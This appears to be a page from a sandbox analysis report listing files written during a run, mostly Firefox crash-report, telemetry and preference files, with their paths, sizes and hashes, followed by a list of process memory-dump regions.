MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a76225ca-fb84-4f3a-a909-a60e63c06979.dmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a76225ca-fb84-4f3a-a909-a60e63c06979.dmp
Size 68KB
SHA256 961eda8c55c69c055251574345e2ccfae6dc42a414b0e8e7c7bec549b5c25884
MD5 f206337e9a237ac23d150ada01977c07
SHA1 ed30f60acc4a9956fb4b01aae88b81bbb9d7d115
SHA512 77af2f05893bf3799bea3623bd633eec34eb4d4b5960049e2ab719f9e34731aa662c7673521af6c4f7c4bb05c30d7a78fc60ea79bfcbd71cedda2c14f9f95701
SSDEEP 384:zoh+32dPMLP9vA+Dp4bg3iiO0VqUzaV7glrDl9l:z0+326zPl3id0mcDl9l
TLSH
T11D63FA32A7A01876D93D473448E7E7B13BF7E9606763975F8A43116E9CB23806C31EA1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a76225ca-fb84-4f3a-a909-a60e63c06979.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a76225ca-fb84-4f3a-a909-a60e63c06979.extra
Size 10KB
SHA256 263908a356f765d82dbbb57e422f8d4bc98357d5359eb8fae6bbe71ab78626f5
MD5 ac50e28c1a5be2dbe5a40a14e54d2834
SHA1 8289faa95ed2ebace25149f4107e6ee13816e2f0
SHA512 a5d2e557b57a75823071102fcd021212c93f89121f057410b0fd0f5f52526d4d14f6b14d927b282a86f09380c50a80539b4edbc3443123cfb45062264c892376
SSDEEP 96:STWCfTuLY6pw6lFFdtH0Rh7CsevBb1d0tjMLlIrLlhTLlaXv7aKutILfcBCqwvE7:S5L6FbG7uvZ8JLYxsP5wlsLufor
TLSH
T1FC227353878724B7AD4194C4BC30AE7C45EC6FAA61F958A802CD4D47FA468F81FB84F6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a76225ca-fb84-4f3a-a909-a60e63c06979.extra

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\a76225ca-fb84-4f3a-a909-a60e63c06979.extra
Size 10KB
SHA256 36752a725c56fcfe83b47c5024ed152c0796046b759fff7e36ab05b9881b69dd
MD5 e3b63bf9932b95502805302995051b25
SHA1 5ed5a91bc6b81fa6618fbf045b955a4462f1a8f4
SHA512 5f6db4a6ced0849c2a5be39ea693aac54c0d267bb36a199b168ee7c717ba8cd687028c2daf0fa8da24c96df4aceb9e8a740fd9f6155e3f1688121810742a315c
SSDEEP 192:S5UcFQiR4p4DnTYapdVxzPjWBH64T/fKNtalELufoHbLUkj:iUcFQi5Dz1LWBH64TmaiqAH3
TLSH
T1A722D831081CD837F7D6AC8EFA3A2D3AD66D7B1A10E6785C40CCCB89C1A9478A779457
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

compatibility.ini

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\compatibility.ini
Size 198B
SHA256 252b7fff962848c61092e82a3d87adca163849767713a93ab533bb397f1f53bb
MD5 ce9ef13caa8a74c25157b184aa038475
SHA1 db03a9935d8bb3ce6b120aca98feade536805160
SHA512 0f6f5053e78167ef5cc5fa70ed3a87dd116df0671a590299277a197341bed983e3d77e37ad2c33cd4afe880fab9ed1c7f7502210040617a01f97a81c1e1d4f29
TLSH
T1C1D022818BC7848C9D4AA8E4537C38086BF2EE0E0604492A32827F0B4164F09023C3F9
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\db\data.safe.tmp
Size 28KB
SHA256 913f10e0e0ea666b068a0e5443ecb3d65d9c438c3f281eda2c09cde3b6b1ed70
MD5 aef2d19fe4a4f2815f038cbc3e1b8cb1
SHA1 8a898e560215834c5db5aa633ca9f3f6b92aece1
SHA512 0809f35ca73b72434d97ffe92bac357821c929f4aecbacb298b7b9bbe6d4808df0dc2bfa9f8d3565b98e7baa7ce560cef949aaa8b1e74541b86d70d3a6569a84
SSDEEP 768:rgtRZZXGcmhu5RI9M/sH8abpb3bybG+mKdY:rgtR1k57
TLSH
T1ECD2F044EB2E513FD41912BBDCA55B002F79B88A98191FA73A4C646C6C872DC3D9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\db\data.safe.tmp
Size 29KB
SHA256 de429d66955080fd09d54885cc4f7aa49ad158547de8a8951a2ad4d90cbb6794
MD5 647eebfb6a05c33a1dadffab698dfc4c
SHA1 07f734d6afb87182d82d73df924d39ca39f0b1ce
SHA512 178e460124a758ceb1c16d4f7352dd89e1d9a37288dec8f6e519f0eb5fd4a9e77d2a4618cbd555e45a9d119ee4bd8d7a9f2ed435781ec1703dd348056161904e
SSDEEP 768:LFmBKdgtRZZXGcmhu5RI9M/sH8abpb3bybG:bgtR1k5
TLSH
T17FD20244EB2E513FD41912BBDCA51B002F79B88998192FA73A5C646C6C872DC3D9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\db\data.safe.tmp
Size 29KB
SHA256 eb3ba4c8a928623333bb823c3096dee0b01041a3018176954d5ac177ab00d747
MD5 281c602be93bc2c363837bebb3c4e9f2
SHA1 c7d8192d75e67d5ccaa80e78864f9f312ac5121a
SHA512 c9e701ed582f91e3c204b3a4b09d5f696614a08ba72d6c366536301b348378690dd9c6ecbe6b7ba1f47079c37d7d6e6a7fa2481db9e78df2b0dad1b19380b1fa
SSDEEP 768:LomkK2gtRZZXGcmhu5RI9M/sH8abpb3bybG:ggtR1k5
TLSH
T15FD20244EB2E553FD41912BBDCA15B002F79B88A98191FA73A4C646C6C872DC3D9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\db\data.safe.tmp
Size 29KB
SHA256 cf493b3f73f194a0176f42c2042734e12ff1b859faaf206b1dbc6b7bce20aa23
MD5 87994ed20d48c17b9efd3f4cf026433c
SHA1 779ff30bb18540b9ced637bbae3832458ab0e686
SHA512 60d139ae5398a73b4bf9310b4d4fc8dc598963dfaf98dedd64db2fd5dbb736bedf0d54ea915d5e5c9f4210406342a8b336cb6f69f42219b5baa00c617682f923
SSDEEP 768:IKdgtRZZXGcmhu5RI9M/sH8abpb3bybGP7m/:DgtR1k5Y
TLSH
T159D20244EB2E553FD41912BBDCA11B002F79B88998192FA73A5C646C6C872DC3D9E07F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\events\events
Size 1KB
SHA256 005d4529d211fd448ef593b0be7800c55e26d04d24cdb730a9df2b3735a3c82e
MD5 3fe273cfca3ab685a25aa00239fbbdcf
SHA1 e430131e4f49f563ba2d92b7a785b961412949d3
SHA512 db748d081bdf9b955dfa6373854c1d4d8b872df607586244f373094e34b819d20a7bc93fd80ed5a70e2ffb9c55a8d408cbcc0da45a3a61764573e7d3de622a55
TLSH
T1E821459C3DB98D2AE987E69CB49102CE53158B0714861C434D13EE8DCFE1ADD726A439
MD5 SHA1 SHA512 TLSH

Submit Download

01c1befa-88ed-4b6a-abfe-40438ff8b8bb

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\01c1befa-88ed-4b6a-abfe-40438ff8b8bb
Size 235B
SHA256 273b09c7ddad972a061443375f525a31c97cad515aa2d12104ad7c195c47cbf5
MD5 c68a22753cd7d33a381f8feff5b43230
SHA1 e38abd4a0dd73033fb7592f6388a54a178b35734
SHA512 55b4277a62e1b619644eb8a0a96598a8b47aaacb3d177206f20789631feac951dc27d9aa0c839676816723e7fb80d280b0286bbbf0012b96c17a30a9aedd0a2e
TLSH
T104D0A78074986B6D48188F6AB1E17DD630458C3734659820D99145789EBDED842A1A57
MD5 SHA1 SHA512 TLSH

Submit Download

5a2e9ca3-c1af-4ee3-ab9e-aa5e5453a508

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\5a2e9ca3-c1af-4ee3-ab9e-aa5e5453a508
Size 3KB
SHA256 dd539c4ebb191bc21dd2a7708b24ff66c8da93715e614f2eac14e8beb80d57c8
MD5 51e29b29083fc15ec6d85f9e8533a76f
SHA1 d5223d5e61199bb2b27ffdee744511ea608b3b83
SHA512 6d083450d1a3a814d55309958b45a9b26ae77efbb76e80f25281ad2b1d3309291df914d0a6120940f8cab588a3383e0a1eda4a5d1a16a833901f6df669cb9fb0
TLSH
T14F6145214458B5738BFCA106F33B7D548FEA339F58920F8A21599E6882FC46857CB25F
MD5 SHA1 SHA512 TLSH

Submit Download

5cdb5c87-e080-4c32-8b64-1b42685a0db2

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\5cdb5c87-e080-4c32-8b64-1b42685a0db2
Size 3KB
SHA256 c7c1361952e75540e728f0922bac86fd37c882caa8ad87c46d844b8eff245a51
MD5 2675da40c9045c2349ed13a508a001e6
SHA1 df48f849c35963a4e0a5533f473257efe1a7542a
SHA512 d9224b2283fcf2035813a3b3ac3d8888a6a400f4960d37a0de0766abbac1e5a0cde7dd61e8c782dc3a7a87a62f4a081b6d9ee6a965d14a4329656c5fa3641656
TLSH
T1966143314458A9738FFCA005E37B6D448FEE339F58530FCD6169CE5842E8468578B25B
MD5 SHA1 SHA512 TLSH

Submit Download

671d44b3-1d8e-4fee-9e39-2e6d1c0e9313

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\671d44b3-1d8e-4fee-9e39-2e6d1c0e9313
Size 886B
SHA256 eec5ea2ff3b969eab6fbc3ffd18ec1432d2b261c05fbfe7b14376c7f02de7524
MD5 5edbf3db4d2a81322b8992eb93f61b28
SHA1 f4a4433a6fd221640e820518cd42dca6b780d2a4
SHA512 dec570d6c9610a7dde489cfb7db648461aaf1459cd692017961657ec5557a6ed62e288688975a2078f9a21d62dfa4d1a9ce15908514c0913cb448b37dbdb0ae0
TLSH
T1EE112791D674B9B29D78D147A4A177034BF87023C0D70D543D64DF0C8CBA55E63AB207
MD5 SHA1 SHA512 TLSH

Submit Download

81fb52b5-225e-410c-8603-efcf800b1fb0

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\81fb52b5-225e-410c-8603-efcf800b1fb0
Size 3KB
SHA256 35cc263fdb81118def9777cba6bd409abec0148a75d8f557a54d0050b038dc43
MD5 1d0c80050a5d1b1c8df9a087621ba861
SHA1 686e7c13ec9a37e46dd28070c49958c7540caaf0
SHA512 093e97fc226d60741cd06ed054835faafab4983f280549caaf16317daa426d5a44ad2168c8d371f49bee9a096ede83f054d869d927f4527cda232928be0a990c
TLSH
T1486154204558B9B38BFCA045E33BAD658EEE338F58930FCA6155CE5883E8424578B25B
MD5 SHA1 SHA512 TLSH

Submit Download

848a4f6e-a420-4357-af1c-cf32e0e69857

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\848a4f6e-a420-4357-af1c-cf32e0e69857
Size 871B
SHA256 430ee839fc4e1662dd575929069e757af068346e0c2c85407f35ddd00fbb0088
MD5 c914d91c1504e201802c465846df2eca
SHA1 e1882dc7a6970d2ebf8ee87cc867a3e3a1df309d
SHA512 75a166a9e4c9a1eef53449568310a222e6035cbd088ffd0c783e3381678603589b9bc89c442c25c8c7e231cef95ab11a0d9daa08318af56f9474504003f10fad
TLSH
T10011E351D634B6F38D68D18B96A17B028BFC7523C0E64C543DA09E084CBF52A67BE20B
MD5 SHA1 SHA512 TLSH

Submit Download

917aa34f-67c2-4aea-b70d-b12276ecaecd

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\917aa34f-67c2-4aea-b70d-b12276ecaecd
Size 2KB
SHA256 81508129c89d84c8c991e1a52f1e5c9245225226a7c10db413229b5ea7151ffe
MD5 0f8f28ef85e371d6a1fff214adce71d0
SHA1 fa17bfdb992b517f89bb5c3f2508ea1e69dd1857
SHA512 40bfb3d7c713c71c59269b21ca968f970e6f808351b5348be71c10438f0452a42c7faf17d285212d58ea40dda9bf95ef970d097be5541901399d01c9f95a2612
TLSH
T11341256D75B88D775DA6F28DE851224E43744E5300C71C836D92EE0CCC967A9337B52B
MD5 SHA1 SHA512 TLSH

Submit Download

9af5657f-3e5c-48fc-aa60-4e45bd0e51fb

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\9af5657f-3e5c-48fc-aa60-4e45bd0e51fb
Size 235B
SHA256 8964b66fe9287cd41f1cf6a3b0267ce5301a16f5e44d4374ddc1f5fec54e74dc
MD5 0f0ca081e3214f99fa3a69c1bc744bac
SHA1 c9710a22c29262eaa8279d151d4526da1fcdecf2
SHA512 a1e5a60b0c683583511a5912b0300c46d5a3d0604db10dfbac9901960172be2e4972466aae9a532c3bd28b6d1ea772d0e5cbc4bc8daa50aff36b2c7295a2956f
TLSH
T13FD097C018A8336D08040F02B1A02CD330488C3310B09810CAA0403C99FADC442A1807
MD5 SHA1 SHA512 TLSH

Submit Download

f77e30a2-69e3-4855-80f0-21b2ed530efc

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\datareporting\glean\pending_pings\f77e30a2-69e3-4855-80f0-21b2ed530efc
Size 3KB
SHA256 e5fc32a31be8873230f1505017134c63e2ff5c988dafbaa4a8b8b510f8515d4e
MD5 1e723f7cea9c0ff515ec9b71f70c5a40
SHA1 e38e4c137e43d8be6b7f3efc8d5a9d6bf803ceb1
SHA512 cfdf2e2e4508f919dffa665e2d41a8ea4a6a1e2721bceb2c3377518dd2f27afa50ff3acbbc2f6ee38de3f1007e2b454ff7834b6478e3da893e67b7bdaccbecf8
TLSH
T1726145210554A9738BFCB005F33B6D98CBEE33DF58920FCA51599F5882A8464578F25B
MD5 SHA1 SHA512 TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\prefs-1.js
Size 6KB
SHA256 f004eecb8da339b1a650d99d338f356455629bb6492721efdab83efd5c5f919c
MD5 c5d5a668218e9d774cfb7ae3a347429a
SHA1 0eb547b08ce91ce633e5aedd0ee3174f0bb31a34
SHA512 f398da7cfbf9abd1b4c513e9934dc71c64cdeaaeff53197325ee8446e59bf4020bbab9d04fa35c28ede14689706bc3d69dd227f8e3fd8c1b062447ca90ef6098
SSDEEP 96:xHkUTUNqGqZf0D21zScSSlqdv9jcnumHb4nNzw9Bw88H8L4cntev:+gRZf0D2pSSOob0sBw881
TLSH
T177E12F789508CB7F74B677ACAC688831AAB2413BB7BF68C750B55484050CF3442F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wvdcag27.default-release\prefs.js
Size 6KB
SHA256 76db2d3a1d5432049e39c00eea5a7301b7b130a09529ea3f48b52794d84294ed
MD5 65a3699b75ba8b4559d00c45fc36f59b
SHA1 ddddd4155ef4e7f6ec7b0ff8108c7a9aeb4c0da3
SHA512 661b2cbed0965fca08d81da7a6b0b7ca5721f2fbe105393cc3fae3d88153b4d08fdb7efe986420c2d2b0ee3349f6527e99308f18331fa313e76c97fd9ad0451a
SSDEEP 96:xHkUTUNqGqZf09Y1zSw4tSSlqdv9jcnumHb4nNzw9Bw88H8L4cntev:+gRZf09Yd4tSSOob0sBw881
TLSH
T1DEE1207895088B7F74B676ACAC688831AAB2413BB7BF68C650B59485010CF3442F96E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/728-197-0x0000027E89EA0000-0x0000027E89EA8000-memory.dmp

Download

memory/2888-1-0x0000021261AE0000-0x0000021261AF0000-memory.dmp

Download

memory/2888-2-0x0000021261AA0000-0x0000021261AC2000-memory.dmp

Download

memory/2888-9-0x0000021261AE0000-0x0000021261AF0000-memory.dmp

Download

memory/2888-13-0x0000021261AE0000-0x0000021261AF0000-memory.dmp

Download

memory/2888-12-0x0000021261AE0000-0x0000021261AF0000-memory.dmp

Download

memory/2888-14-0x0000021261AE0000-0x0000021261AF0000-memory.dmp

Download

memory/2888-0-0x0000021261AE0000-0x0000021261AF0000-memory.dmp

Download

memory/3616-18-0x0000000002FA0000-0x0000000002FD6000-memory.dmp

Download

memory/3616-42-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

memory/3616-30-0x00000000062C0000-0x0000000006617000-memory.dmp

Download

memory/3616-23-0x0000000006150000-0x00000000061B6000-memory.dmp

Download

memory/3616-22-0x0000000005A90000-0x0000000005AF6000-memory.dmp

Download

memory/3616-33-0x00000000067D0000-0x000000000681C000-memory.dmp

Download

memory/3616-46-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

memory/3616-48-0x0000000007B10000-0x0000000007B13000-memory.dmp

Download

memory/3616-34-0x0000000006D40000-0x0000000006DD6000-memory.dmp

Download

memory/3616-47-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

memory/3616-44-0x00000000090D0000-0x0000000009EC1000-memory.dmp

Download

memory/3616-43-0x0000000007B10000-0x0000000007B13000-memory.dmp

Download

memory/3616-40-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

memory/3616-35-0x0000000006CD0000-0x0000000006CEA000-memory.dmp

Download

memory/3616-21-0x00000000057F0000-0x0000000005812000-memory.dmp

Download

memory/3616-41-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

memory/3616-49-0x00000000090D0000-0x0000000009EC1000-memory.dmp

Download

memory/3616-36-0x0000000006DE0000-0x0000000006E02000-memory.dmp

Download

memory/3616-20-0x0000000005B20000-0x000000000614A000-memory.dmp

Download

memory/3616-19-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

memory/3616-32-0x0000000006790000-0x00000000067AE000-memory.dmp

Download

memory/3616-38-0x0000000008A50000-0x00000000090CA000-memory.dmp

Download

memory/3616-17-0x0000000003090000-0x00000000030A0000-memory.dmp

Download

memory/3616-45-0x00000000090D0000-0x0000000009EC1000-memory.dmp

Download

memory/3616-37-0x0000000007E20000-0x00000000083C6000-memory.dmp

Download

memory/3984-72-0x0000000020AC0000-0x0000000020B10000-memory.dmp

Download

memory/3984-66-0x0000000001200000-0x0000000002517000-memory.dmp

Download

memory/3984-67-0x0000000001200000-0x00000000012BE000-memory.dmp

Download

memory/3984-68-0x0000000020910000-0x00000000209C2000-memory.dmp

Download

memory/3984-70-0x00000000212A0000-0x0000000021462000-memory.dmp

Download

memory/3984-71-0x0000000020A40000-0x0000000020AB6000-memory.dmp

Download

memory/3984-64-0x0000000001200000-0x0000000002517000-memory.dmp

Download

memory/3984-73-0x00000000219A0000-0x0000000021ECC000-memory.dmp

Download

memory/3984-74-0x0000000020BF0000-0x0000000020C0E000-memory.dmp

Download

memory/3984-1276-0x0000000021ED0000-0x0000000022227000-memory.dmp

Download

memory/3984-1282-0x00000000224D0000-0x0000000022562000-memory.dmp

Download

memory/3984-1283-0x0000000022490000-0x000000002249A000-memory.dmp

Download

memory/4916-1031-0x000001FC16440000-0x000001FC16448000-memory.dmp

Download